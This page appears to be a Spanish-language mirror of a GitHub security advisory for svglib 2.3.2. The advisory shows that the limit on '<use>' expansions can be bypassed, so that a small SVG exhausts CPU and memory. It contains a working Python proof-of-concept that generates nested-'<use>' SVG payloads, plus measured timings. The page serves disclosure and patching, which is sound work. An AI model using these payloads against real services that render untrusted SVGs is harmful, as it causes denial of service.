GHSA-XPFM-FW4H-QXWV
El límite de expansiones de `<use>` cuenta las expansiones, pero no su tamaño, por lo que un SVG de 6 KB todavía tarda minutos y GB en renderizarse (corrección incompleta de GHSA-555j-qj3j-c8jv)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XPFM-FW4H-QXWV divulgada · CVSS 7.5 (GitHub) | |
| Remediación | Parche 2.3.3 | svglib · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
La corrección 2.3.1 para GHSA-555j-qj3j-c8jv detiene `renderUse()` después de `MAX_USE_EXPANSIONS` (10,000) expansiones. Sin embargo, cada expansión copia en profundidad y renderiza el subárbol completo referenciado, por lo que el trabajo total es 10,000 × (tamaño del subárbol), y el tamaño del subárbol no tiene límite. Los grupos `<use>` anidados cuyo grupo hoja contiene N `<rect/>` hacen que unas 9,000 de las expansiones permitidas clonen esa hoja. En svglib 2.3.2, un SVG de 2,254 bytes tarda 68 s, y uno de 6,454 bytes (200 rectángulos) tarda 247 s y 2.6 GB de RSS. El costo crece linealmente con N. Solo el SVG necesita estar controlado por el atacante, como en GHSA-555j. La rama `main` (6e798117) se comporta igual (50 rectángulos: 62 s / 727 MB).
Detalles
- Límite: svglib.py#L212
https://github.com/deeplook/svglib/blob/v2.3.2/src/svglib/svglib.py#L212`MAX_USE_EXPANSIONS = 10_000`, verificado una vez por cada `<use>` en #L2020-L2027https://github.com/deeplook/svglib/blob/v2.3.2/src/svglib/svglib.py#L2020-L2027. - Cada expansión permitida clona y renderiza el destino completo (#L2058-L2062
https://github.com/deeplook/svglib/blob/v2.3.2/src/svglib/svglib.py#L2058-L2062): - Carga útil: `g0` = N `<rect/>`; `g1`..`g4` = diez `<use href="#g(i-1)"/>` cada uno; `<use href="#g4"/>` como raíz. Es la forma de GHSA-555j con un nivel menos y una hoja más grande. El número de expansiones se mantiene por debajo del límite, mientras que la cantidad de elementos clonados alcanza aproximadamente 9,000 × N.
- Corrección sugerida (probada): añadir un presupuesto a nivel de documento para los elementos clonados, compartido con los SVG externos de la misma forma que el contador de expansiones. A cada expansión se le carga la cantidad de elementos del subárbol que clona:
Prueba de concepto
Todo se ejecuta localmente y en memoria (Python 3.12, Linux):
- `mkdir svglib-poc && cd svglib-poc`
- `python3 -m venv venv`
- `venv/bin/pip install svglib==2.3.2`
- Guarda el script siguiente como `poc.py`
- `venv/bin/python poc.py` (unos 4 minutos; pasa los tamaños de hoja como argumentos, p. ej. `poc.py 200`)
"""svglib: MAX_USE_EXPANSIONS (GHSA-555j-qj3j-c8jv fix) bounds the number of <use>
expansions, not the size of each one. A 6 KB SVG still takes minutes and GBs."""
import io, logging, resource, sys, time
logging.disable(logging.CRITICAL) # silence the "Too many <use> expansions" log line
import svglib
from svglib.svglib import svg2rlg, MAX_USE_EXPANSIONS
def svg(levels, fan, leaf):
g0 = '<g id="g0">' + '<rect width="1" height="1"/>' * leaf + '</g>'
defs = [g0] + [f'<g id="g{i}">' + f'<use href="#g{i-1}"/>' * fan + '</g>' for i in range(1, levels + 1)]
return ('<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10">'
f'<defs>{"".join(defs)}</defs><use href="#g{levels}"/></svg>').encode()
print(f"python {sys.version.split()[0]}, svglib {svglib.__version__}, MAX_USE_EXPANSIONS={MAX_USE_EXPANSIONS}")
cases = [("control: GHSA-555j payload (1-rect leaf, 5 levels)", 5, 10, 1)]
cases += [(f"variant: {leaf}-rect leaf, 4 levels", 4, 10, leaf) for leaf in (int(a) for a in sys.argv[1:] or [25, 50, 100])]
for label, levels, fan, leaf in cases:
doc = svg(levels, fan, leaf)
t = time.perf_counter()
svg2rlg(io.BytesIO(doc))
rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024
print(f"{label:52} {len(doc):6d} bytes {time.perf_counter() - t:7.2f} s peak RSS {rss} MB", flush=True)Salida (svglib 2.3.2, Python 3.12.3, Linux x86_64):
python 3.12.3, svglib 2.3.2, MAX_USE_EXPANSIONS=10000
control: GHSA-555j payload (1-rect leaf, 5 levels) 1067 bytes 1.83 s peak RSS 71 MB
variant: 25-rect leaf, 4 levels 1554 bytes 33.12 s peak RSS 379 MB
variant: 50-rect leaf, 4 levels 2254 bytes 68.40 s peak RSS 699 MB
variant: 100-rect leaf, 4 levels 3654 bytes 133.06 s peak RSS 1341 MBEl control es la carga útil de GHSA-555j, que ahora queda acotada (1.8 s). Las variantes permanecen dentro del mismo límite de 10,000 expansiones, pero el tiempo y la memoria crecen con el tamaño de la hoja: unos 1.3 s y 13 MB por rectángulo. Una hoja de 200 rectángulos (6,454 bytes) tardó 247 s y 2.6 GB de RSS en una ejecución separada.
Impacto
Agotamiento de CPU y memoria (CWE-400) en cualquier servicio que convierta SVG no confiables con `svg2rlg()`: miniaturas, conversión de SVG a PDF, informes de reportlab y xhtml2pdf (`<img src="...svg">`, incluidas las URI `data:`). Opciones predeterminadas, sin archivos externos. No se ven afectadas la confidencialidad ni la integridad.
Me gustaría que se solicitara un CVE para este problema, con crédito para Adrian Korwel.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypisvglib |
Corregida | 2.3.3 | 0 d | 2.4.0 no afectada |
2.3.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/deeplook/svglib/security/advisories/GHSA-xpfm-fw4h-qxwvLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
